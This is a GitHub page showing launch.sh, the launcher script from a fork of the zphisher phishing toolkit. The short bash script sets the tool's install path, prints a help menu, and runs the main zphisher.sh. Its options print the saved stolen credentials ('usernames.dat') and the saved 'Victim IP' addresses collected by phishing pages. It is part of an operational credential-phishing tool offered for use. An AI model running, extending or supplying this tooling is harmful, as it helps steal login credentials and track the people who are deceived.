forked from Exido-Rio/zphisher-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlaunch.sh
32 lines (29 loc) · 781 Bytes
/
launch.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash
# https://github.com/htr-tech/zphisher
if [[ $(uname -o) == *'Android'* ]];then
ZPHISHER_ROOT="/data/data/com.termux/files/usr/opt/zphisher"
else
export ZPHISHER_ROOT="/opt/zphisher"
fi
if [[ $1 == '-h' || $1 == 'help' ]]; then
echo "To run Zphisher type \`zphisher\` in your cmd"
echo
echo "Help:"
echo " -h | help : Print this menu & Exit"
echo " -c | auth : View Saved Credentials"
echo " -i | ip : View Saved Victim IP"
echo
elif [[ $1 == '-c' || $1 == 'auth' ]]; then
cat $ZPHISHER_ROOT/auth/usernames.dat 2> /dev/null || {
echo "No Credentials Found !"
exit 1
}
elif [[ $1 == '-i' || $1 == 'ip' ]]; then
cat $ZPHISHER_ROOT/auth/ip.txt 2> /dev/null || {
echo "No Saved IP Found !"
exit 1
}
else
cd $ZPHISHER_ROOT
bash ./zphisher.sh
fi